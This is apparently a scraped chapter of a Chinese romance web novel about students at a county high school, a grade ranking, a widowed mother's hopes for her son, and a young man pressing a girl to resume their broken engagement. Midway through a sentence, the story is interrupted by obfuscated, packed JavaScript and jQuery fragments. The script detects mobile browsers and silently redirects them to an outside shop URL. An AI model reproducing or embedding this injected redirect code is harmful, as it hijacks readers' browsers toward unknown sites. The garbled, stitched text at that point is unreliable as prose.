试卷成绩关乎开学月余学生们的学习成效,校长再三强调,老师们白天上课,晚自习加班加点批改试卷,在单科成绩陆续出炉后,第六天全年级总分排名的红榜正式贴出来。
教学楼门厅的红榜只写年级前30名的姓名、班级与总分,是全校的荣誉榜。
年级第一名,韩懿,总分563。
年级第二名,娄小乙,总分548。
年级第三名,程天佑,总分544。
年级……
年级第八名,张青鱼,总分508。
看到成绩的那一刻,青鱼即便是早有准备,还是感叹准备少了。
语文92分,数学89分,英语77分,政治92分,物理76分,化学82分,总分508分,全年级排名第8。
要知道她入学考试时全班第5,在全年级只能排30多名。
学习是最公平的事情。
他会告诉你熬过的夜不会白费,所有的努力不会被辜负。
红榜第八,是对她这段时间学习成果的最大肯定。
**
周六放学,韩懿骑着自行车回家。
十六岁少年身体还未长成,像春日里急于抽条的青竹,每个关节都仿佛藏着生长的脆响,风吹过,衬衫下摆扬起一角,露出紧实平坦的小腹,一条极细的腰线引入裤腰,迈着长腿走进机关大院后排的一间半筒子楼住房。
家里收拾的干净整洁,但因为缺少人烟,家具不多,便显得空空荡荡。
韩母一个人在厨房准备晚饭,他放下书包去帮忙。
洗菜备菜的事他干的很熟练,因为母亲常常不在家更是练出一手好厨艺。
余光看到母亲鬓边又多出来的白发和眼角的斑点,他的手顿了一下,突然想到,若是父亲在,母亲就不用为了供他上学这么辛苦了吧。
父亲原是县科委的农技干事,六十年代的中专毕业生,是单位里出了名的“技术痴”。1975年夏天,他响应号召下乡去公社指导玉米良种培育,却在返程时遇上暴雨,坐的拖拉机打滑翻进了河沟,因公殉职,那年他刚满8岁。
按当时的政策,单位发了一次性抚恤金三百二十块,又给家里核定了每月十二元的遗属生活补助,不仅如此,单位念旧情还协调保留了机关大院后排的一间半筒子楼住房,没有收回去。
母亲原本是公社小学的代课老师,丹在运动结束后没赶上转正,单位安排母亲进县政府招待所做后勤保洁员,母亲思索再三,代课老师虽然体面但工资低,为了年幼的儿子她辞掉了代课的活,接受了招待所的工作。
每天早班晚班轮着倒,擦楼道、换被罩、收拾餐厅,一个月工资三十二块,加上遗属补助,全家月收入四十四块钱。这份收入看似不错,在县城里温饱有余,却绝谈不上宽裕。
这钱不仅要用来支付他的学费书本费,要贴补乡下的老人,还要省着点存着以备不时之需,日子过得紧紧巴巴。
母亲性子要强,从不主动跟单位提困难,也不许他去学校申请助学金,只反复叮嘱他,妈妈什么都不要,最在乎的就是他的成绩,不能给他爸爸丢脸。
从小学开始,他就是年级第一,在课堂上听老师的话,在课下写作业做家务,从不会让家长父母操心,是老师口中最稳重聪明的孩子,每次拿成绩单回来时,看着上面整齐的分数,就是她最高兴的时候,和邻居交谈时脸上的笑也会多几分。
但,有时看到“坏孩子”裴雪松那副父母俱在“不识愁滋味”的模样,不是不羡慕的。
饭菜端上桌后,韩母没有吃饭,反而拿着成绩单仔仔细细地观看,“语文95,数学100,物理98,化学92,英语90,政治88,这次虽然排名还是第一,但是有几科分数比中考降了几分,小懿,怎么回事?”
“可能刚开学,不适应题型变化。”
“你只是县一中的第一,还有别的县城,别的市,更有省会的高中,那里的学生从小接受的教育都比你更强,距离高考就只有两年了,千万不能松懈。”
韩懿嗯了一声,“我知道的。”
“雪松没打扰你学习吧?”她盯着成绩单,有些怀疑就因为裴雪松老是去打扰儿子成绩才提升不了的,还有县一中今年怎么回事,就他那成绩都能上?
“裴家这个小子从小跳脱得很,你不要跟他学,咱们家和他家不能比,但是你成绩好,咱们好好学习,考上大学,毕业后分配工作吃公家饭,雪松能考上中专都算不错了。”
他沉默一了下,“雪松挺好的。”
“行行行,不聊他了,快吃饭吧,饭菜都凉了,”她不以为意,终于放下成绩单,笑着给韩懿夹了一筷子豆角,“你最喜欢吃的。”
“……谢谢妈。”
周六下午的放学铃撞着风散开,县一中的铁木门吱呀拉开,校门口,青鱼的脚步一顿。
老槐树下,青年单脚支着二八自行车静静望着她。
将满20岁的青年,正是筋骨长开,锐气初显的年纪,他生了一副迷惑人的模样,周正英挺,常让人忘记他恶劣强横的性格。
小麦色的皮肤,浓眉深目,看人时平添几分桀骜,鼻梁挺直,下颌线棱角分明,嘴唇薄而线条干净。
劳动布上衣挽至肘部,盯着他手腕上那一点淡褐色的机油印,青鱼顿住脚步。
她站在原地踟蹰,他便盯着她,目光深冷,薄唇轻抿。
良久,终究是走过去,“你怎么来了?”
“我不能来?”
青鱼有些心虚的低下头,想到之前信誓旦旦说会尽快还钱,可她现在还没有钱。
……没找到机会和陈珂开口。
盯着她的表情,陆川眯了下眼睛。
不对劲。
他太了解她了,做了什么能心虚成这样,连他的眼睛都不敢看。
但今天他来不是为了和她绕圈子的,直截了当道,“你在学校喜欢上别人了?”
青鱼震惊的瞪大眼睛,连连摇头。
“你怎么会这么想?”
“那就好,”他的声音略略上扬,有些不自然的轻咳一声,“我原谅你了。”
“什么?”青鱼不明白他今天突然过来,又讲这些莫名其妙的话是想干什么。
“退婚的事。”
青鱼一愣,喜道,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17707949|207564||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“你答应了?”
陆川的脸黑成锅底,强忍怒火,尽力心平气和解释,“我问过医生,像你之前讲胡话的那种情况,他们见过,虽然大多数是在生完孩子的妇人身上,但你这种婚前紧张的也有,自己瞎捉摸说浑话,不是你的真心话。”
“?”
“收拾东西,我带你回家。”
“?”
“怎么还不动,青鱼,我的忍耐是有限的,之前你任性我就当你年纪小不懂事,但退婚两个字,我不想听你说第二遍。”
一想到从她嘴里吐出这两个字,他的眉头就难以抑制的皱起,即便已经过了一个月,他的心脏还是会有一种被捏住的感觉。
那种感觉他再也不想体会第二遍。
听他自说自话,青鱼浑身炸毛,心脏砰砰砰直跳,被气得,忍了又忍还是忍不住讥讽道,“你失忆了?”
“当时我认真冷静思考——”
她冷淡的眸光让他心中发寒,攥紧车把,打断她的未尽之言,“你大姐,你妈都很想你,她们让我给你捎句话,问你为什么不回来?”
“……你不要转移话题。”
陆川道,“礼金怎么还?”
青鱼气势稍滞。
“要找我们双方父母还有媒人坐下来讨论吗?”
“……暂时不要……给我一点时间……”青鱼胸口的气全被放空了,懊恼的低下头。
看她这幅样子,这样威胁她,他的心中也不痛快,就像两人之间十几年的感情是他一个人的独角戏,她是喜儿,是吴琼花,他是黄世仁,是南霸天,是强抢民女的恶霸。
更关键的是,迄今为止,他甚至搞不清她态度转变的真正原因是什么。
他站在她身边,离得这样近,却觉得她周身蒙了一层薄雾。
是但要让他放手,是万万不能的。
她性子要强又敏感,心思细腻,别人的一句话都可能让她多想,她不喜欢干农活不喜欢干家务,有他在时总是心安理得地偷懒,她依赖他信任他,会和他撒娇,会对他发脾气,在让她放松的人面前,她是鲜活的。
更不会像现在这样——防备他。
他浓密的眼睫半垂着,遮掩住幽深的一泓。
青鱼垂头丧气,无力反驳,“我回去收拾东西。”
“加快速度,简单收拾。”
青鱼拳头硬了。
快速收拾了书本背着书包坐上自行车后座。
在轮胎碾过土路的沙沙声中,他骑的很慢,以前一个小时的车程这次花了至少一个半小时。
骑到村口时,天已经彻底擦黑了,车子最终停在张家门口,青鱼下车。
捕捉到她不安的视线,陆川抱住她,摸了摸她顺滑的发顶,“别多想。”
他没有进去,似乎真的只是接她回家。
……
西天最后一抹橘红早沉进了地平线下,暮色像浸了水的蓝布,慢悠悠从天边罩下来,把连片的麦田、道旁的白杨树都晕成了模糊的深影。
他的脸在暮光中晦暗不明,却氲成相熟的轮廓。
目送青鱼开门进去,听到她和家人的寒暄方才离开。